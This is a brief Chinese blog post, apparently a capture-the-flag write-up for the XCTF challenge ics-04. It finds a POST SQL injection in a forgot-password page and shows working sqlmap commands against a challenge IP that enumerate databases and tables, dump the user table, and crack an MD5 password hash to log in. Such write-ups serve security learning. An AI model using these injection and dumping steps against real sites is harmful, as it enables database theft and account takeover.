XCTF:ics-04(post注入|sqlmap)

在登录和注册页面中fuzz,发现注册界面可以反复注册一个用户

尝试覆盖admin和root之类的用户,发现都是普通用户,这个bug目前没有可利用的地方

最后在忘记密码的界面找到了注入点,这是一个post注入,使用sqlmap进行爆库

python sqlmap.py -u "http://220.249.52.133:56844/findpwd.php" -data "username=1" --dbs

 

获取表名

E:\Sqlmap\sqlmap-master>python sqlmap.py -u "http://220.249.52.133:56844/findpwd.php" -data "username=1" -D cetc004  --tables

 

dump出表的所有数据

python sqlmap.py -u "http://220.249.52.133:56844/findpwd.php" -data "username=1"  -D cetc004  -T user --columns --dump

获取到一个不是我们注册的账户,尝试登陆,发现密码错误

 

看到密码是32位,尝试MD5解密

 

 

 

使用解码后的密码登陆获得flag

 

 

MD5解码:https://www.somd5.com/

posted @ 2020-10-22 19:07  LuoSpider  阅读(110)  评论(0编辑  收藏  举报